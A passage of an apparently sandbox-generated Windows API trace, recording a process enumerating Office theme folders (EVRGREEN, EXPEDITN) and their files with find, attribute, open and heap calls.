ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0054.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.241] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefcab0 [0054.241] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefcab0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefcab0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcab0) returned 1 [0054.241] NtClose (Handle=0x17c) returned 0x0 [0054.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb2b8 [0054.241] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.241] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.242] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb3c0 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9d60 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb4c8 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9d80 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb5d0 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9da0 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb6d8 [0054.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9dc0 [0054.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb7e0 [0054.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.243] GetLastError () returned 0x12 [0054.243] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.243] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.243] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.243] GetLastError () returned 0x12 [0054.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefb2b8) returned 1 [0054.244] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefb3c0) returned 1 [0054.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.244] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0054.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.244] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefcab0 [0054.244] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefcab0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefcab0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcab0) returned 1 [0054.244] NtClose (Handle=0x170) returned 0x0 [0054.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb3c0 [0054.245] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb2b8 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9de0 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb8e8 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9e00 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb9f0 [0054.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7c0) returned 0xef8cd8 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc328) returned 1 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9e20 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbaf8 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9e40 [0054.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbc00 [0054.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.246] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.246] GetLastError () returned 0x12 [0054.246] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.246] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.247] 